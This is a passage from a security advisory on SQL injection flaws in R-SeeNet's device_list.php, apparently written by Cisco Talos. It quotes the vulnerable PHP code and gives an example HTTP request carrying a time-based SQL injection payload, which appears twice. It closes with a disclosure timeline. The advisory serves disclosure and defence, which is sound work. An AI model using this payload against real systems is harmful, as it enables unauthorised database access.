800     $sql = $sql.'AND health_alt = "'.mysqli_real_escape_string($link,$_SESSION['health_alt_filter'])."' ";
801   }
802   else
803   { // v pripade, ze filter = 3 hledame routry s priznakem new
804     $sql = $sql.'AND new = "1" ';
805   }
806 }
807 [...]
804 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
805
806 if( is_superuser() && ($company_id == 0) )
807 { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
808   $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
809 }
810 else if( is_admin() )
811 {
812   $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
813 }
814 else
815 {
816   $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
817 }
818 // vykonani SQL prikazu
819 $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21937 - 'host_alt_filter' parameter

Parameter `host_alt_filter` is set as a session variable on line 224 of `device_list.php` as seen below:

```
222 if(isset($_GET['host_alt_filter']))
223 { // je nastaven filtr hostname alt
224   $_SESSION['host_alt_filter'] = urldecode($_GET['host_alt_filter']);
225 }
```

Following the above code, a variable is used on line 579 in the following code to build up a SQL query which will get executed on line 869:

```
577 if(isset($_SESSION['host_alt_filter'])) && ($_SESSION['host_alt_filter'] != '')
578 {
579   $sql = $sql.'AND hostname_alt LIKE "'.$mysql_real_escape_string($link,$_SESSION['host_alt_filter']).'%"';
580 }
581 [...]
854 $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856 if( is_superadmin() && ($company_id == 0) )
857 { // prihlasy superadmin, ktery nema vybranou konkretni firmu uvidi vse
858   $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859 }
860 else if( is_admin() )
861 {
862   $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863 }
864 else
865 {
866   $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867 }
868 // vykonani SQL prikazu
869 $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

Timeline

2021-08-19 - Vendor Disclosure

2021-11-16 - Vendor Patched

2021-11-22 - Public Release

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.

